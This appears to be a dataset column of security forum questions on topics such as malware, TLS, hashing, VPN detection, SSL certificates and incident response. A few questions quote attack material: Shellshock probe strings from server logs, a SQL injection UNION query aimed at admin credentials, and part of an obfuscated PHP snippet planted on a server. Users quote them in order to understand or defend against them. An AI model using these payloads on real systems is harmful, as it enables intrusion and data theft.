instruction
stringlengths
24
29.9k
My computer might have a virus infection. I have used Norton Internet Security and Power Eraser to scan the computer but it still did not work. The traffic on my PC looks like this I used resource manager to check the program that is causing this and here it shows me this TCPSVC.exe is a legit service by Microsoft. Th...
I'm not keen on encryption and security overall, so please forgive my ignorance. Let's assume the following: We have two nodes which are constrained devices (resources not sufficient for asymmetric encryption), and we want to securely establish a shared key for symmetric encryption. My solution is the following: save ...
Quoted from here: Certain military communication systems are based on the jam-resistant burst transmission of binary telegrams which consist of orthogonal spread-spectrum waveforms (BOK). To regain the message content at the receiver the a priori not known arrival times of the telegrams have to be detected by means of...
I have a command line tool (ngi) I made, and currently the process of installation requires 2 steps. First step is to clone the repo into usr/local/ngi. Second step is to manually set the $PATH in ~/.bash_profile (or wherever they set their environment variables) so that they can run the tool from the command line. Wha...
I'm running a VPS (under ArchLinux) and was wondering if sshguard was useful in the following case. My iptables rule for SSH in looks like this : iptables -A INPUT -p tcp --source $Trusted --dport 22 -j ACCEPT with $Trusted a set of Trusted IPs, currently only my VPN IP. Basically iptables deny all and then accept onl...
I’m intending to submit a personal project for a “call for papers” for an upcoming Con. I have a really interesting topic that I wanted to submit for the talk. I was hoping to gain some feed back on what a good layout/format would be for the paper. Any help is appreciated! Thanks!
I understand what a hash is, basically we calculate a hash and append it to the message and send it to the receiver. If someone alters the message, the receiver will know because there would be a different hash value. Since hash algorithms are well-known such as MD5, SHA1, if there is a man in the middle attack, can he...
I'm trying to determine a server IP address via ping and open ports/services by running an NMAP scan. At work, when I ping my website/server, I get a response from 172.16.XX.X. If I run an NMAP scan, it brings a back a list of open ports/services. As expected. However, from my home computer, when a ping is sent, I get ...
I recently fell victim to some Adware (and possible malware). I was installing Firefox and clicked an ad link in Bing and downloaded a "packaged" Firefox install. I believe the ad is still at the top of Bing if you search "Firefox download" right now... I ran a scan with AVG and a scan with MalwareBytes. Both showed...
I was recently viewing a website and saw its certificate info as follows: Given that MD5 is badly broken and not recommended for hashing, how good is it for use in TLS? And why?
I have become quite a password-obsessed individual. I password-protect my HDDs, my files, and now even the BIOS/EFI on the various systems I own. But I have discovered that if you forget your BIOS password, it is easy (enough) to simply reset it/disable it via physical access to the insides of the machine, or in some c...
Upfront, I want to clarify that I am not a professional cryptographer, I am more curious about playing with the math and science behind it, and also want to improve my habits with my own personal and work data. I am not asking phishy questions to build a silly homebrew or anything like that. I have been reading about t...
I have a nexus phone running android lollipop. Even if I'm not browsing the web or using the WiFi at all (and after sync of various components has completed) the WiFi up/down arrows still flash periodically. What is using the Wi-Fi? and is there any way for me to check what specifically is using the Wi-Fi?
While debugging my server for issues, I checked my logs frequently. Here is one weird one I've found, which seems like an attempt to run something on my server. I am using nginx on Ubuntu 14.04. Below is the log entry: xxx.xxx.xxx.xxx - - [07/Apr/2015:02:15:05 +0200] "GET /cgi-bin/test.sh HTTP/1.0" 400 172 "-" "() { :;...
Quite a few websites, Coinbase and Stripe most notably, ask for the last four digits of your social security number to 'verify your identity'. Assuming these websites are not trying to fraud you, how could knowing four digits of your SSN possibly be valuable to them? Both of these websites (if you have made a transac...
I would like to know: How can they detect the VPN? Does installing the client mean they can see background processes and see the VPN software? Or is the only way that they use a blacklist of known registered VPN IPs? Is there anyway to prevent this detection? Would using a kind of sandbox like VMware player, with the ...
In this answer, it was recommended that you add random padding when hashing messages for a trusted timestamp, such as for predictions, in order to avoid dictionary and brute force attacks (at least when the message itself doesn’t have much entropy, as in the example in the question). The answer briefly says that 80 bit...
I heard in a security talk today (I didn't have the opportunity to ask questions): The speaker mentioned that he observed (2 years ago) that a possible malware on a given computer was behaving such that, when the user visits a legitimate URL via the browser, the malware changes the URL that needs to be visited; so the ...
A SIM card can initiate some communication with a mobile device with so called "proactive commands" (chapter 6 of http://www.etsi.org/deliver/etsi_gts/11/1114/05.04.00_60/gsmts_1114v050400p.pdf). Using these commands, SIM card applet can request the OS for current system time or sending SMS to a specified number and mu...
Yesterday I tried to recover the password for a Gmail account that I have created few months ago and during the process it asked me for the last password I remember. Why would it ask for that? I'm 100% sure that I have used only ONE password for the account so it's meaningless to ask me for the last password I used i...
It may be a silly question, but hackers do use publicly-available tools to find vulnerabilities. So why don't companies, before releasing their products (Windows, Adobe etc...), use the same tools to find those vulnerabilities and fix them? I don't understand. Am I missing something?
One of the payment solutions for the websites provides the following way of creating security hash for payment link: hash = sha1(private_key + payment_params_json + private_key); Is there any particular reason for using the same private_key twice?
In the realm of software development what would be the best way to vet prospective employees? We handle potentially sensitive information, and a code base which could be potentially lucrative to competitors. I understand that there is only so much that one could do, and unfortunately there is only so much information &...
I know that there is nothing like a safe website ,any website which is safe today could be hacked and its visitors could be served with latest malware. What I'm curious about is what checks can we do on a url to judge/guess it as malicious using a pencil and paper, no third party help (like siteadvisor,virustotal,Dom...
Intrusion detection using something like Tripwire that conducts integrity checks through crypto'ed hash functions of files requires a scan and to hash the file and save this for later comparison. This process takes time so what files can we expect to be effectively protected from this and what files change too frequen...
Threatmetrix is a fraud prevention SaaS aimed at preventing fraud. Their company website states: ThreatMetrix is also uniquely able to uncover hackers and fraudsters trying to cover their true location by hiding behind VPN servers. ThreatMetrix has developed a unique VPN detection capability that: Captures additional...
I am new to SNORT and can not figure out what the following rule means: alert tcp $EXTERNAL_NET any-> $HOME_NET any (msg:"SCAN FIN"; flags: F; reference:arachnids,27;
I want to use a prepaid SIM card (text and calls only) anonymously. I bought the SIM card offline without providing any address or name. I am now thinking about using a dumbphone I bought from Amazon and that I previously used my primary, "public" SIM card with (and would do so every once in a while). I only plan on s...
I am working with another UX guy and he's let me know that there have been some studies surrounding the fact that when a person goes through a "forgot username/email" process, they enter in extra information and that this extra information should be enough for a user to be logged in without having to enter a password. ...
I am trying to figure out a way to natively do this within Windows without having to load any 3rd party applications. When I run: netstat -ba I want to find established connections without losing the executable name that is attached to that particular connection. The original output looks like this: TCP 127.0.0.1...
I've seen the following login rate limiting approach used on a web site I worked on, but I can't figure out if it's a good idea: After any failed login attempt, the site locks the user account for a fraction of a second. When the account is locked, any login attempts will fail, even attempts with correct credentials. T...
so after setting up a new server with just ssh (public key only) and a webserver which just serves one index.html I left for the weekend. Logging in on Monday I see this type of thing in my httpd access_logs 5.199.170.44 - - [07/Apr/2015:12:07:48 +0200] "GET /cgi-sys/entropysearch.cgi HTTP/1.0" 404 223 "() { :;} ;echo;...
We have a requirement to scan uploaded images via azure services. I found that Azure has a free out of the box solution http://azure.microsoft.com/en-us/support/legal/endpoint-protection/ However simply enabling anti malware is not enough for our scenario. There are more than one WebRole that can upload images. and al...
I am putting together a summary on iOS and Android security risks based on app permissions. On Android, it is easy to define all of the permissions and what 3rd party developers have access to (from the Android Manifest Permission page). On iOS, I have not been able to find a comprehensive list of what 3rd party develo...
I am trying to compile a list of areas one should be aware of when doing Incident Response on public cloud environments, e.g. a hybrid public cloud, where some services are provisioned in local data-center, while is in the cloud. Some thoughts: Pulling RAM to do memory forensics will be hard, if not impossible, to d...
Let me preface this by saying this is my first attempt to understand input sanitation, and at the moment I'm still a newbie to PHP. I've put together a quick register/log in website to test some things, and I'm having trouble breaking it. I'm trying to exploit my own website so that I can figure out (by myself, hopeful...
How do I find the exact encryption on a PDF file? I can't seem to get a direct answer on the net. For example how do I tell if a document is PDF 1.1 - 1.3 (Acrobat 2 - 4), PDF 1.4 - 1.6 (Acrobat 5 - 8), PDF 1.7 Level 3 (Acrobat 9), or PDF 1.7 Level 8 (Acrobat 10 - 11)? Additionally does anyone know which version Micros...
In light of recent developments on SSL issues such as BEAST and POODLE, I decided to configure my browser to only allow TLS1.1 and higher. The trouble is, that I am finding a lot of websites which do not work correctly (some websites serve all JS and CSS resources as HTTPS always) or at all. A bit of digging usually re...
I have a FlipKey account (property rentals site) that has been hacked and I'm hoping to understand how it happened and what I should do to prevent it from happening again. The hacker is able to get into the system even though the password has been changed. Tech support from Flipkey is not helpful and only say to change...
THIS IS NOT ABOUT XSS Threat: Mallory enters control characters in a public web application text field that other users might use in a terminal program (via copy+paste or by running a script). Another threat is a user enters a phishing domain (that is later displayed) and uses a RTL control character so that it looks ...
To delete your account on a website, the following form is used: <form action="/deleteaccount" method="post"> <input type="hidden" name="user" value="<logged-in-username>"></input> <input type="hidden" name="cookie" value="<user's-login-cookie>"></input> <input type="submit" value="Delete"></input> </form> And /...
I'm writing a program that detects ARP poiosoning. My question is: How can I b sure my LAN hasn't been poisoned? Yes, I can use my settings and find the IP address of the default gateway and yes I can get the MAC Address of my gateway and compare it, but both IP and MAC address are easy to spoof.
Apologies if this has been asked before. I am looking to encrypt documents before storing in the cloud. There will be a separate metadata storage, which could be either internal or cloud hosted. My strategy would be to generate a new symmetric key for each document (or batch of documents if key generation is expensive)...
We have an existing API where 3rd parties can push data. The API calls are authenticated with HMAC using the same scheme as described in Ruby's ApiAuth library which I use to verify signed requests. We now need to support multipart/form-data file uploads. I'm attempting to write a bash script as an example API call us...
What is the solution of independent payment authorization from hackers between bank and merchant? Some banks used SOAP protocol. I need another solution.
I've been reading this article about Data Handling Security Measures, what's the difference between confidential, protected, and restricted data? Maybe I could understand it well with example of the data itself.
I'm practicing SQL injection. I've been able to get the column names and table names on a test environment. query 1. On executing below query, I see adminId, adminUsername, adminPassword http://www.sqlexample.com/index.php?id=-2 union select 1,2,group_concat(column_name),4,5,6,7 from information_schema.columns where t...
Is there any way to prove that a HTML page was delivered to my browser, and not modified in any way, after it was delivered over TLS? I need to prove integrity, and authenticity of the sender, ideally by the server's public key. Is there a tool for it? I can only find information about the handshake methods, but not fo...
I received an email in cleartext from someone with a signature.asc attached. Looking at the raw source for the email, it was sent with Apple Mail + GPGMail. Reading the message in Thunderbird + Enigmail successfully shows up as a GOOD signature in the Enigmail details when opening the message. The text is not ASCII arm...
I am implementing a service where application-specific passwords seem a good choice to improve security. A question on why and when they might make sense has already been discussed here Google Account: implications of using application-specific passwords Now, I am interested in the how, especially with strong hashes l...
When you receive an email containing pictures from a new domain in Outlook you can right-click on the address and "Mark this domain as trusted" which will autoload all the photos on future emails. But the "from" field in an email is spoofable by anyone with a passing knowledge of programming. So my question is does Out...
I have made a new methodology for a symmetric key cryptography in which I have used matrix operations, a boolean function and ASCII conversion. Please suggest me the possible parameters to judge my algorithm.
I'm building a mobile app that will use API created by me on my server. These API will be publicy exposed, but not publicy documented. I want to let the user to use the app without authentication for a faster user experience. Lets assume the purpose of the app is "polls", so the user will create and vote for different ...
What is the deference between the two public keys: user public key (2nd element in Token response) user public key inside signature in U2F Token response for registration ?
This may sound like a stupid question but seriously how are private keys kept private? If you're someone like Google you have some huge number of servers to which the public can establish secure connections. The *.google.com private key is required in establishing every one of those connections. Servers are presumably ...
I'm concerned about USB devices being physically attached to my MacBook laptop when I am about to unlock my computer or while my computer is unlocked. My threat model involves an attacker who is willing to spend about $200 to gain access to my laptop, in particular my own user account or root. So, sophisticated physica...
I've read the various questions tagged [ssl] and [mitm] and [proxy] and I couldn't find a duplicate. I cannot find any documentation on this subject online. All of the traffic is currently flowing through the firewalls, from here if it is port 80 or 443 then it is being pushed through to a web filtering system. The...
I want to run a web server at home (really for the fun and learning of web/network and other security best practices), running a web app that I plan to write with Ruby on Rails and be able to access it from outside. I plan to run it on a Linux VM + Apache web (want to install from scratch, again for the fun of it) serv...
Similar to this question, Chrome is showing the connection cryptography as obsolete. Opera, IE and Firefox seem perfectly fine with the connection. My guess would be the message authentication is using SHA1, but when I view the certificate information, the only mention of SHA1 is the Thumbprint. This appears normal fo...
I am tasked with the initial draft of an IT disaster recovery plan for my organization. My predecessor never started one so now I am the lucky fellow to tackle this project. My experience in working with a disaster recovery plan is '0'. (Don't get me wrong, I relish the opportunity.) There are many supplementary docum...
I got into a (somewhat heated) discussion with my colleague today about what characters our application should accept. This was prompted by the discovery that you can enter anything in the search box and the application will dutifully perform a search by that string. However this applies equally to all the textboxes in...
Lets say I have an infected image by some malware, I double-click it and that triggers the default program that handles images to open it for viewing. Will this also trigger the malware inside the image ? Assuming that you can view the image and it is not a renamed *.exe, *.bat, *.vbs, *.sh etc. misguiding file. So acc...
How can someone detect a malicious code, executable or not, inside an image file ? What techniques and what programs are out there that will help you for the detection procedure ? This question is a sequel to the question: Can you get infected by viewing an image?
I have been thinking about a way of storing a "digital testament" without using a physical safe, which is the typical solution I have read. Here is my idea roughly: Generate a strong key pair using GPG/some other standard tool. Encrypt the sensitive information using the previous key. Store the public key with enough...
I'd like to use Chromecast on our office network. Doing so requires enabling UPnP (Universal Plug and Play). A quick search turns up statements like this: The US Department of Homeland Security is urging everyone to disable the common networking Universal Plug and Play (UPnP) protocol...UPnP has been, is now, and will...
For buffer overflow attacks, my exam review says that there are drawbacks to choosing canary values at compile time vs runtime. Why would it be better to choose the canary value at runtime?
Can I get a key HEX from wpa/wpa2 handshake, or from the network in another way without knowing the passphrase? Example: Network SSID: linksys54gh WPA passphrase: radiustest Hexadecimal key: 9e9988bde2cba74395c0289ffda07bc41ffa889a3309237a2240c934bcdc7ddb
I'm developing a web application that is basically for all our employees. Right now we have 3500 employees and all of them will access this web application. All of them will use really confidential information. Right now I'm thinking how they all will authenticate. But what is the best way to save login: with Session ...
I'm developing a public VoIP relay server, that will help bypass internet firewalls by allowing two clients to connect with it and then it will relay data between the two. Both clients will connect with an API endpoint to authenticate first and request a VoIP session, encryption keys etc. The sole job of the VoIP serve...
I would like to allow users of a website to be able to log in at any page. In order to provide a seamless experience my first thought was to collect user credentials (username and password) in a dynamic form and then authenticate the user through an API call (https) performed using Javascript. However I am not confiden...
Is there an existing term that describes shoulder surfing attacks where the adversary observes a different part of the password each time, to eventually construct the whole password? An example would be focusing on the left part of the keyboard at an occasion, focusing on the right part at a different occasion, then c...
Originally asked at: https://stackoverflow.com/questions/29526990/is-there-a-security-vulnerability-to-permit-all-cors-origins-if-the-request-orig We had a requirement to permit cross-origin requests provided that the origin was part of the corporate domain. While this question is not C# or Web API specific, the snippe...
Can someone trace where you were a year or two earlier, based on your cellphone? If so, would you have to have been making a call? Or just have your phone on? Or can your past be traced even if your phone is off?
My child is being accused of doing some improper things via Snapchat, but he swears that he did not do anything, and he is the type of person who probably would not. The only thing the police are going on is the user account name and the IP address which supposedly connects to my child's iPhone. Is there any way that...
I need to monitor Active Directory domain administrator activities and look for the following: Looking for anomalies in daily activity Getting alerted upon a violation My problem is that turning on Windows Auditing in my environment (over 100 domain controllers and 50,000 users) generates massive Security Event logs ...
Title says it all really. I'm toying with the idea of storing some disk images in "the cloud", but am concerned about the possibility of an attacker manipulating cipertext to do evil things once it's decrypted, and so I'd like a system that authenticates the ciphertext and assures me it has not been tampered with. I un...
If a service provider has a network with thin clients, and they use a citrix portal to access a PCI complaint service provider's cardholder data environment. If the environment is very similar to tho this and if it is merchant, (with applicable SAQ C-VT), the scans will be not applicable anyway !! what is the value in...
Late last year the CA/Browser Forum decided to limit the maximum valid term of TLS/SSL certificates issued after 1 April 2015. After this time, as the official guidelines put it.. CAs SHALL NOT issue certificates with validity periods longer than 39 months. I've recently been (re)issued a certificate with a validity ...
I have looked for various answers but I am being confused on how does RSA can be used for both Digital Signatures and Encryption/Decryption like in "TLS_DHE_RSA_..." or "TLS_RSA_.." cipher suite whereas DSA is only used like in "TLS_DHE_DSS_.." only for certificate signing, and not for encryption/decryption. It would b...
Two websites with different CMS, user should type login & password on one website and needs to be logged in second website automatically. Now i have this method, it works but i want to know - is it secure enough? 1st site: User successfully logging in with his login & password username encrypted with php mcrypt (MCRYP...
I want to decrypt a sha256 to text. Is there a way other than bruteforcing to decrypt sha256? Like if I convert that SHA256 to MD5 and then try decrypting?I know its hard and the possible way for sha256 to text may be bruteforcing. Any other insights are appreciated other than sarcasm. I have considered rainbow table ...
I want to prepare virtual maschine which will be used to connect through vpn with one of my clients. There are some other programs and devices that I have to install in order all of this to work. However there is a security concern. On host system I've mailbox and other stuff from my corporation. Is there any way that ...
I need to generate many many initialization vectors and session keys in C++ code. I am wondering if arc4random is up to the task. Last I heard, there are many weaknesses in the RC4 cipher. Should I stick to reading from /dev/urandom instead? I am only targeting Unix-like OS, not Windows.
During the development of a site, me and the team decided to develop the site with my computer as a server, with me making my localhost available from outside. I have been using several settings to try protecting the site while in development, for example by adding password to XAMPP, phpMyAdmin, but recently one of the...
I am trying to start self studying of Enterprise Security Context, but always feeling kind of lost among all the specs and standards etc. Unlike software development, this really is a challenge as far as I felt so far. SAML, SSO, OAuth, XACML... there are plenty of stuff to learn about; but frankly I am not sure from w...
I have created a map for using with GPS devices. The map is copied to a microSD card and then, GPS can read the map data from the card. How can I create copy/clone protection of my data on microSD cards? Because my business depends on it.
The application I'm running a security assessment on encodes POST requests as follows: POST /foo/save HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 6652 <snip> bar={"options"%3a{"key"%3a"26b678c6-1d75-41c0-8a20-d9882828c76c","description"%3a"Fo...
Today I tried a program called Dumpper and the program showed me default WPS of all of my neighbor access points without bruteforcing them, see screenshot below: How does this program work?
I'm interested in how an implementation of a security protocol can be verified correct and complete. The AVISPA project (http://www.avispa-project.org/) can be used to verify the protocol. I guess in theory, you could also use the AVISPA modeling language to generate an implementation. It should be possible to take an...
I have a private NAS device. It uses a self-signed SSL certificate. I can import the cert into Firefox and everything works as long as I'm accessing the device from somewhere on the internet. SSL validation and encryption is working. Now, if I try to access the device through my LAN, I'm getting an error from firefox: ...
At work, we generate sensitive report files for our clients. Currently, these files are stored in cloud storage. Some partners want the files on their local machine, instead, so we will need the directory in which they want to save the files. Would it be a security risk to save their directory structure in our database...
I have gone through the answers in this thread SSL3 "POODLE" Vulnerability. In the first answer,the following has been mentioned. ""The last ciphertext block thus gets decrypted, which yields a value ending with c7 XOR e7. That value is then XORed with the previous encrypted block. If the result ends with a byte of val...
I heard that hackers can create fake AP that my PC is probing. As soon as my PC found the Fake AP, it will connect automatically. So To clarify, is it possible for hackers create the Fake AP that my PC is Probing, if they knew the type of security (Wpa/Wep) and the password for the genuine AP (Common; library wifi or ...
Specifically, if I preserve the private key can I reproduce the exact same (self-signed) certificate at any time? The use case I have is a server-to-server protocol that allows (even encourages) self-signed certificates; where I won't know my exact CN ahead of time (varies by peer) and so wish to generate the X509 on-t...
Can anyone help me to understand what this does? Someone has planted a file with this piece of code on my server.It is shortened because it cannot fit the question, but just to have some idea what could it be. <?php $OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64'); $OOO0000O0=$OOO000000{4}.$...
I've heard many suggestions as to what makes a good password (hard to guess, not a dictionary word or permutation thereof, at least a certain length, etc.) so that it cannot be cracked in a realistic amount of time. However, from what I understand, password cracking techniques and software will try to use Latin charact...
I want to use DNSCurve (for privacy) to a trusted DNSSec resolver (for integrity), and want to ensure that I can tell a recursive resolver (like 8.8.8.8, or OpenDNS) that I only want DNSSec queries. Logically this would be similar to issuing either of the following options: Recurse No Recurse Question Does such a tec...
I execute the following code in Netbeans and get the error : FIPS_mode_set failed: f06d065. How to enable FIPS mode and get the code running? #include <openssl/crypto.h> int main() { int mode = FIPS_mode(), ret = 0; unsigned long err = 0; /* Toggle FIPS mode */ if(mode == 0) { ret = FIPS_mode_set(1 /*on*/); if(ret !=...
I have been using the Encryption/Decryption code from https://wiki.openssl.org/index.php/EVP_Symmetric_Encryption_and_Decryption. The NIST test vectors (http://csrc.nist.gov/groups/STM/cavp/) for AES don't yield the expected result. May I know what could be the reason and how do I get it going to work according to NIST...
In microsoft windows , we can simply develop an application that hook the keyboard and mouse or take an screenshot of display. Why windows do not alarm that a program uses hooking (for example keyboard) ? Like in iOS , when an application want to access the contacts , gps , microphone or ... , ios alarm that the applic...